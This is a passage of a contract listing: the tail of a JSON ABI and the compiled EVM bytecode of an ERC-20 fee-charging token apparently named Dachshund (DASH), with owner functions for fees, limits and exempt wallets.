pe":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"},{"internalType":"uint16","name":"sharesDevelopment","type":"uint16"}],"name":"setFeeSplit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buy","type":"uint8"},{"internalType":"uint8","name":"sell","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransactionPermille","type":"uint16"},{"internalType":"uint16","name":"maxWalletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"minDivider","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint32","name":"maxDivider","type":"uint32"}],"name":"setTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAtMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAtMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketing","type":"address"},{"internalType":"address","name":"development","type":"address"},{"internalType":"address","name":"LPtokens","type":"address"}],"name":"updateWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005600060146101000a81548160ff021916908360ff1602179055506004600060156101000a81548160ff021916908360ff1602179055506002600060166101000a81548160ff021916908360ff1602179055506002600060176101000a81548160ff021916908360ff16021790555060026001556000600260006101000a81548160ff021916908360ff1602179055506003600260016101000a81548160ff021916908360ff16021790555060076002806101000a81548161ffff021916908361ffff1602179055506003600260046101000a81548161ffff021916908361ffff1602179055506000600260066101000a81548161ffff021916908361ffff160217905550600260069054906101000a900461ffff16600260049054906101000a900461ffff1660028054906101000a900461ffff1662000147919062000a4e565b62000153919062000a4e565b600260086101000a81548161ffff021916908361ffff16021790555073281dec1fbfe93191b878236fe4e68433585b27af6002600a6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507322cde3b03dc46425c73cdebd020b22c66e072096600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000229919062000bf6565b6305f5e1006200023a919062000c47565b6005556009600a6200024d919062000bf6565b6305f5e1006200025e919062000c47565b600655620186a0600a6009600a62000277919062000bf6565b6305f5e10062000288919062000c47565b62000294919062000c47565b620002a0919062000cc1565b600755620186a06102ee6009600a620002ba919062000bf6565b6305f5e100620002cb919062000c47565b620002d7919062000c47565b620002e3919062000cc1565b60085560646037600754620002f9919062000c47565b62000305919062000c47565b600955737a250d5630b4cf539739df2c5dacb4c659f2488d600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601260016101000a81548160ff0219169083151502179055503480156200038557600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505033600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000606460056009600a6200041f919062000bf6565b6305f5e10062000430919062000c47565b6200043c919062000c47565b62000448919062000cc1565b9050806009600a6200045b919062000bf6565b6305f5e1006200046c919062000c47565b62000478919062000cf9565b600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600a60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000580919062000bf6565b6305f5e10062000591919062000c47565b604051620005a0919062000d45565b60405180910390a36001600c60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60006002600a9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60006002600a9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062000d62565b600061ffff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000a5b8262000a11565b915062000a688362000a11565b9250828201905061ffff81111562000a855762000a8462000a1f565b5b92915050565b60008160011c9050919050565b6000808291508390505b600185111562000aea5780860481111562000ac25762000ac162000a1f565b5b600185161562000ad25780820291505b808102905062000ae28562000a8b565b945062000aa2565b94509492505050565b60008262000b05576001905062000bd8565b8162000b15576000905062000bd8565b816001811462000b2e576002811462000b395762000b6f565b600191505062000bd8565b60ff84111562000b4e5762000b4d62000a1f565b5b8360020a91508482111562000b685762000b6762000a1f565b5b5062000bd8565b5060208310610133831016604e8410600b841016171562000ba95782820a90508381111562000ba35762000ba262000a1f565b5b62000bd8565b62000bb8848484600162000a98565b9250905081840481111562000bd25762000bd162000a1f565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000c038262000bdf565b915062000c108362000be9565b925062000c3f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000af3565b905092915050565b600062000c548262000bdf565b915062000c618362000bdf565b925082820262000c718162000bdf565b9150828204841483151762000c8b5762000c8a62000a1f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000cce8262000bdf565b915062000cdb8362000bdf565b92508262000cee5762000ced62000c92565b5b828204905092915050565b600062000d068262000bdf565b915062000d138362000bdf565b925082820390508181111562000d2e5762000d2d62000a1f565b5b92915050565b62000d3f8162000bdf565b82525050565b600060208201905062000d5c600083018462000d34565b92915050565b6154648062000d726000396000f3fe6080604052600436106101f25760003560e01c80636373ea691161010d57806395d89b41116100a0578063c3f70b521161006f578063c3f70b52146106db578063dd62ed3e14610706578063e8078d9414610743578063f2fde38b1461074d578063f8b45b0514610776576101f9565b806395d89b411461061f578063a6097b0a1461064a578063a9059cbb14610673578063c04a5414146106b0576101f9565b806376a39c28116100dc57806376a39c28146105845780638a8c523c146105ad5780638d3e6e40146105b75780638da5cb5b146105f4576101f9565b80636373ea69146104d857806370a0823114610505578063715018a61461054257806375f0a87414610559576101f9565b8063368f4800116101855780634d4ce935116101545780634d4ce9351461041e5780634fcd24461461044957806357ff135a146104725780635a90a49e1461049b576101f9565b8063368f48001461037657806342966c681461039f57806346b89834146103c857806347062402146103f3576101f9565b806323b872dd116101c157806323b872dd146102ba5780632b14ca56146102f75780632fb528ba14610322578063313ce5671461034b576101f9565b806306fdde03146101fe578063095ea7b314610229578063147c9f6d1461026657806318160ddd1461028f576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b506102136107a1565b6040516102209190613dbf565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190613e7a565b6107de565b60405161025d9190613ed5565b60405180910390f35b34801561027257600080fd5b5061028d60048036038101906102889190613ef0565b6108d0565b005b34801561029b57600080fd5b506102a4610cbf565b6040516102b19190613f52565b60405180910390f35b3480156102c657600080fd5b506102e160048036038101906102dc9190613f6d565b610ce3565b6040516102ee9190613ed5565b60405180910390f35b34801561030357600080fd5b5061030c610eed565b6040516103199190613fdc565b60405180910390f35b34801561032e57600080fd5b506103496004803603810190610344919061404f565b610f04565b005b34801561035757600080fd5b506103606110ea565b60405161036d9190613fdc565b60405180910390f35b34801561038257600080fd5b5061039d600480360381019061039891906140c9565b6110f3565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190614109565b6112b1565b005b3480156103d457600080fd5b506103dd61135d565b6040516103ea9190613f52565b60405180910390f35b3480156103ff57600080fd5b50610408611367565b6040516104159190613fdc565b60405180910390f35b34801561042a57600080fd5b5061043361137e565b6040516104409190613f52565b60405180910390f35b34801561045557600080fd5b50610470600480360381019061046b9190614136565b611388565b005b34801561047e57600080fd5b5061049960048036038101906104949190614176565b6114a2565b005b3480156104a757600080fd5b506104c260048036038101906104bd91906141c9565b61167f565b6040516104cf9190613ed5565b60405180910390f35b3480156104e457600080fd5b506104ed6116d5565b6040516104fc93929190614205565b60405180910390f35b34801561051157600080fd5b5061052c600480360381019061052791906141c9565b611716565b6040516105399190613f52565b60405180910390f35b34801561054e57600080fd5b5061055761175f565b005b34801561056557600080fd5b5061056e611868565b60405161057b919061424b565b60405180910390f35b34801561059057600080fd5b506105ab60048036038101906105a69190614266565b611892565b005b6105b56119fb565b005b3480156105c357600080fd5b506105de60048036038101906105d991906141c9565b611baa565b6040516105eb9190613ed5565b60405180910390f35b34801561060057600080fd5b50610609611c00565b604051610616919061424b565b60405180910390f35b34801561062b57600080fd5b50610634611c29565b6040516106419190613dbf565b60405180910390f35b34801561065657600080fd5b50610671600480360381019061066c91906142f5565b611c66565b005b34801561067f57600080fd5b5061069a60048036038101906106959190613e7a565b611ea5565b6040516106a79190613ed5565b60405180910390f35b3480156106bc57600080fd5b506106c5611f02565b6040516106d2919061424b565b60405180910390f35b3480156106e757600080fd5b506106f0611f2c565b6040516106fd9190613f52565b60405180910390f35b34801561071257600080fd5b5061072d6004803603810190610728919061435c565b611f36565b60405161073a9190613f52565b60405180910390f35b61074b611fbd565b005b34801561075957600080fd5b50610774600480360381019061076f91906143da565b61245d565b005b34801561078257600080fd5b5061078b612565565b6040516107989190613f52565b60405180910390f35b60606040518060400160405280600981526020017f444143485348554e440000000000000000000000000000000000000000000000815250905090565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108be9190613f52565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095590614453565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610a025750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610a585750601160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b610a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8e906144bf565b60405180910390fd5b826002600a6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60006009600a610ccf9190614641565b6305f5e100610cde919061468c565b905090565b6000610cee8461256f565b610d2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d249061471a565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610ed95781600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e58919061473a565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610ee484848461264a565b90509392505050565b6000600260019054906101000a900460ff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990614453565b60405180910390fd5b6001601260016101000a81548160ff02191690831515021790555060648260ff161115610ff4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610feb906147ba565b60405180910390fd5b600060648360ff16600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611046919061468c565b6110509190614809565b90506009600a6110609190614641565b8111156110715761107081612bd6565b5b81156110ca576000479050600081116110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b690614886565b60405180910390fd5b6110c847612df5565b505b506000601260016101000a81548160ff0219169083151502179055505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890614453565b60405180910390fd5b600060016103e88461ffff166009600a61119b9190614641565b6305f5e1006111aa919061468c565b6111b4919061468c565b6111be9190614809565b6111c891906148a6565b905060055481101561120f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120690614926565b60405180910390fd5b80600581905550600060016103e88461ffff166009600a6112309190614641565b6305f5e10061123f919061468c565b611249919061468c565b6112539190614809565b61125d91906148a6565b90506006548110156112a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129b90614992565b60405180910390fd5b8060068190555050505050565b60006112bc33611716565b905080821115611301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f8906149fe565b60405180910390fd5b61130b3383612f81565b3373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6836040516113519190613f52565b60405180910390a25050565b6000600754905090565b6000600260009054906101000a900460ff16905090565b6000600854905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611416576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140d90614453565b60405180910390fd5b606381836114249190614a1e565b60ff161115611468576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145f90614a9f565b60405180910390fd5b81600260006101000a81548160ff021916908360ff16021790555080600260016101000a81548160ff021916908360ff1602179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611530576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152790614453565b60405180910390fd5b80806115395750815b156115cc57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c290614b0b565b60405180910390fd5b5b81600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600060028054906101000a900461ffff16600260049054906101000a900461ffff16600260069054906101000a900461ffff16925092509250909192565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e490614453565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163600060405161185e919061424b565b60405180910390a1565b60006002600a9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611920576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191790614453565b60405180910390fd5b600081838561192f9190614b2b565b6119399190614b2b565b905060008161ffff1611611982576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197990614bad565b60405180910390fd5b83600260066101000a81548161ffff021916908361ffff160217905550826002806101000a81548161ffff021916908361ffff16021790555081600260046101000a81548161ffff021916908361ffff16021790555080600260086101000a81548161ffff021916908361ffff16021790555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8090614453565b60405180910390fd5b6001601260016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611b35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2c90614c19565b60405180910390fd5b601260009054906101000a900460ff1615611b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7c90614c85565b60405180910390fd5b611b8d6130a1565b6000601260016101000a81548160ff021916908315150217905550565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4441534800000000000000000000000000000000000000000000000000000000815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ceb90614453565b60405180910390fd5b8263ffffffff168463ffffffff166009600a611d109190614641565b6305f5e100611d1f919061468c565b611d29919061468c565b611d339190614809565b6007819055508063ffffffff168263ffffffff166009600a611d559190614641565b6305f5e100611d64919061468c565b611d6e919061468c565b611d789190614809565b6008819055506007546008541015611dc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbc90614cf1565b60405180910390fd5b620186a06009600a611dd79190614641565b6305f5e100611de6919061468c565b611df09190614809565b60085411611e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2a90614d5d565b60405180910390fd5b60646009600a611e439190614641565b6305f5e100611e52919061468c565b611e5c9190614809565b60085410611e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9690614dc9565b60405180910390fd5b50505050565b6000611eb03361256f565b611eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee69061471a565b60405180910390fd5b611efa33848461264a565b905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600554905090565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461204b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204290614453565b60405180910390fd5b6001601260016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ee90614e35565b60405180910390fd5b601260009054906101000a900460ff1615612147576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213e90614c85565b60405180910390fd5b60003411806121565750600047115b612195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218c90614ea1565b60405180910390fd5b6000600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411612217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161220e90614f0d565b60405180910390fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015612284573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122a89190614f42565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612331573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123559190614f42565b6040518363ffffffff1660e01b8152600401612372929190614f6f565b6020604051808303816000875af1158015612391573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123b59190614f42565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612440600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054476000613408565b6000601260016101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e290614453565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161255a9190614ff7565b60405180910390a150565b6000600654905090565b60008060009050601260009054906101000a900460ff16156125945760019050612641565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126365750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561264057600190505b5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036126ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b19061505e565b60405180910390fd5b601260009054906101000a900460ff166127b057600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127705750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6127af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a69061471a565b60405180910390fd5b5b601260019054906101000a900460ff161580156128165750601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612824576128236134f6565b5b6001544310801561283757506004544310155b801561288c5750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612900573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146128ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128f6906150ca565b60405180910390fd5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561296857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156129c0575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612a10576129d08484846136fe565b612a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a0690615136565b60405180910390fd5b5b6000612a1d858585613895565b905060008184612a2d919061473a565b905083600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a7a919061473a565b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160096000828254612acf91906148a6565b9250508190555080600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2191906148a6565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612bc19190613f52565b60405180910390a36001925050509392505050565b612bdf81613b45565b6000600267ffffffffffffffff811115612bfc57612bfb615156565b5b604051908082528060200260200182016040528015612c2a5781602001602082028036833780820191505090505b5090503081600081518110612c4257612c41615185565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612ce9573d6000803e3d6000fd5b50505050